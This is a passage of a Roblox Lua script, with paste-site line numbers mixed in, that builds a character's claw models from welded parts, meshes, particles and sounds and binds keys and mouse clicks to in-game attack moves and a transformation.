Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
3731
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3732
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
3733
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3734
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
3735
Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
3736
Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
3737
mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
3738
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
3739
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
3740
3741
local modelzorz3=Instance.new("Model") 
3742
modelzorz3.Parent=Character 
3743
modelzorz3.Name="Eye"
3744
3745
handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3746
handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
3747
mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
3748
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3749
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3750
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
3751
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3752
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3753
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
3754
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
3755
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
3756
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
3757
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
3758
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
3759
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
3760
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3761
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
3762
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3763
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3764
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3765
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
3766
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3767
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
3768
local moosick = it("Sound",Character)
3769
moosick.SoundId = "rbxassetid://2595535704"
3770
 --142653441, 175067863
3771
moosick.Looped = true
3772
moosick.Pitch = 0.9775
3773
moosick.Volume = 1.5
3774
moosick:Play()
3775
3776
anim = Character:findFirstChild("Animate")
3777
if anim then
3778
anim:Destroy()
3779
end
3780
3781
local particleemitter = Instance.new("ParticleEmitter", Handle)
3782
particleemitter.VelocitySpread = 180
3783
particleemitter.Lifetime = NumberRange.new(0.1)
3784
particleemitter.Speed = NumberRange.new(2)
3785
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
3786
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3787
particleemitter.Rate = 100
3788
particleemitter.Rotation = NumberRange.new(-45, 45)
3789
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3790
particleemitter.LightEmission = 0.8
3791
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3792
3793
local particleemitter = Instance.new("ParticleEmitter", Handle2)
3794
particleemitter.VelocitySpread = 180
3795
particleemitter.Lifetime = NumberRange.new(0.1)
3796
particleemitter.Speed = NumberRange.new(2)
3797
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
3798
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3799
particleemitter.Rate = 100
3800
particleemitter.Rotation = NumberRange.new(-45, 45)
3801
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3802
particleemitter.LightEmission = 0.8
3803
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3804
3805
local particleemitter = Instance.new("ParticleEmitter", handle)
3806
particleemitter.VelocitySpread = 180
3807
particleemitter.Lifetime = NumberRange.new(0.1)
3808
particleemitter.Speed = NumberRange.new(2)
3809
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
3810
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3811
particleemitter.Rate = 100
3812
particleemitter.Rotation = NumberRange.new(-45, 45)
3813
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3814
particleemitter.LightEmission = 0.8
3815
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3816
3817
local light = Instance.new("PointLight", Character.Torso)
3818
light.Color = Color3.new(255,255,255)
3819
light.Brightness = 5
3820
light.Range = 15
3821
3822
particleemitter.Enabled = true
3823
3824
local Footsteps = it("Sound",Character.Torso)
3825
Footsteps.SoundId = "rbxassetid://142665235"
3826
Footsteps.Looped = true
3827
Footsteps.Pitch = 0.8
3828
Footsteps.Volume = 0.3
3829
3830
local Footsteps2 = it("Sound",Character.Torso)
3831
Footsteps2.SoundId = "rbxassetid://142665235"
3832
Footsteps2.Looped = true
3833
Footsteps2.Pitch = 1
3834
Footsteps2.Volume = 0.4
3835
3836
local cam = game.Workspace.CurrentCamera
3837
3838
--cam.CameraSubject = Character
3839
3840
for i,v in pairs(Head:children()) do
3841
    if v:IsA("Sound") then
3842
        v:Destroy()
3843
    end
3844
end
3845
3846
mouse.Button1Down:connect(function()
3847
        if attack==false and attacktype==1 then
3848
                attacktype=2
3849
                attackone()
3850
        elseif attack==false and attacktype==2 then
3851
                attacktype=3
3852
                attacktwo()
3853
		elseif attack==false and attacktype==3 then
3854
				attacktype=4
3855
				attackthree()
3856
		elseif attack==false and attacktype==4 then
3857
				attacktype=1
3858
				attackfour()
3859
        end
3860
end)
3861
3862
mouse.KeyDown:connect(function(k)
3863
	k=k:lower()
3864
	if k=='e' then
3865
		if attack==false and mana>=20 then
3866
			Push()
3867
		end
3868
		elseif k=='g' then
3869
		if attack==false and mana>=50 then
3870
			Twirl()
3871
		end
3872
		elseif k=='v' then
3873
		if attack==false and mana>=25 then
3874
			MagicJump()
3875
		end
3876
		elseif k=='c' then
3877
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
3878
    attack=true
3879
        for i = 1, 40 do
3880
          swait()
3881
          Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
3882
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
3883
          RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
3884
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
3885
          LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
3886
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
3887
          RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
3888
          LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
3889
        end
3890
			Blaze()
3891
attack = false
3892
end
3893
		elseif k=='x' then
3894
	if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
3895
    attack=true
3896
        for i = 1, 15 do
3897
          swait()
3898
          Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
3899
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
3900
          RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
3901
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
3902
          LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
3903
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
3904
          RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
3905
          LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
3906
        end
3907
so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
3908
so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
3909
for i = 0, 30 do
3910
	BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
3911
wait(0.1)
3912
end
3913
local parteffected = Instance.new("Part",tors)
3914
parteffected.Transparency = 1
3915
parteffected.Position = tors.Position
3916
parteffected.CanCollide = false
3917
parteffected.Anchored = true
3918
so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
3919
so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
3920
BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
3921
MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
3922
MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
3923
BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
3924
        local sbs = Instance.new("BodyPosition", RootPart)
3925
        sbs.P = 3000
3926
        sbs.D = 1000
3927
        sbs.maxForce = Vector3.new(500000, 500000000, 500000)
3928
        sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
3929
        for i = 1, 40 do
3930
          swait()
3931
          Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
3932
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
3933
          RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
3934
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
3935
          LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
3936
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
3937
          RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
3938
          LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
3939
        end
3940
wait(3)
3941
			Blaze2()
3942
attack = false
3943
parteffected:Destroy()
3944
sbs:Destroy()
3945
end
3946
		elseif k=='q' then
3947
		if attack==false then
3948
		idle=1000
3949
		end
3950
		elseif k=='h' then
3951
		if attack==false then
3952
		mana=100
3953
		end
3954
		elseif k=='y' then
3955
		if attack==false and mana>=100 then
3956
			Shred()
3957
		end
3958
		elseif k=='f' then
3959
		if attack==false and mana>=40 then
3960
			Spin()
3961
		end
3962
		elseif k=='r' then
3963
		if attack==false and mana>=20 then
3964
			Clap()
3965
		end
3966
		elseif k=='t' then
3967
		if attack==false then
3968
			Hai()
3969
		end
3970
		elseif k=='0' then
3971
		if attack==false then
3972
			Humanoid.WalkSpeed=(24)
3973
		end
3974
		elseif k=='j' then
3975
		if attack==false then
3976
			Humanoid.Health = 10
3977
			print("Congrats, you commited suicide.")
3978
		end
3979
	end
3980
end)
3981
3982
mouse.KeyDown:connect(function(k)
3983
if k == "z" and Ultramode == false then
3984
if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
3985
                attack = true
3986
        for i = 1, 15 do
3987
          swait()
3988
          Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
3989
          RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
3990
          RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
3991
          RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
3992
          LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
3993
          LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
3994
          RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
3995
          LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
3996
        end
3997
m:Destroy()
3998
local m = Instance.new("Model", Character)
3999
m.Name = "WeaponModel"
4000
local parta = Instance.new("Part",Character)
4001
  parta.Size = vt(10,10,10)
4002
  parta.BrickColor = BrickColor.new("Really black")
4003
  parta.Material = "Neon"
4004
  parta.Shape = "Ball"
4005
  parta.Transparency = 0
4006
  parta.Anchored = true
4007
  parta.CanCollide = false
4008
  parta.CFrame = tors.CFrame
4009
                Transform()
4010
parta:Destroy()
4011
4012
local modelzorzz=Instance.new("Model") 
4013
modelzorzz.Parent=Character 
4014
modelzorzz.Name="Claw1"
4015
4016
Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
4017
Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
4018
mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
4019
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4020
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
4021
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
4022
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
4023
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
4024
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4025
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
4026
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4027
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
4028
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4029
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
4030
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4031
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
4032
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4033
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
4034
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4035
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
4036
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4037
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
4038
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4039
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
4040
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
4041
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
4042
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
4043
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4044
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
4045
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
4046
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
4047
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
4048
Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
4049
Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
4050
mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
4051
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
4052
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
4053
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
4054
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
4055
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
4056
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
4057
4058
local modelzorzz2=Instance.new("Model") 
4059
modelzorzz2.Parent=Character 
4060
modelzorzz2.Name="Claw2"
4061
4062
Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
4063
Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
4064
mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
4065
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4066
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
4067
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4068
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
4069
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
4070
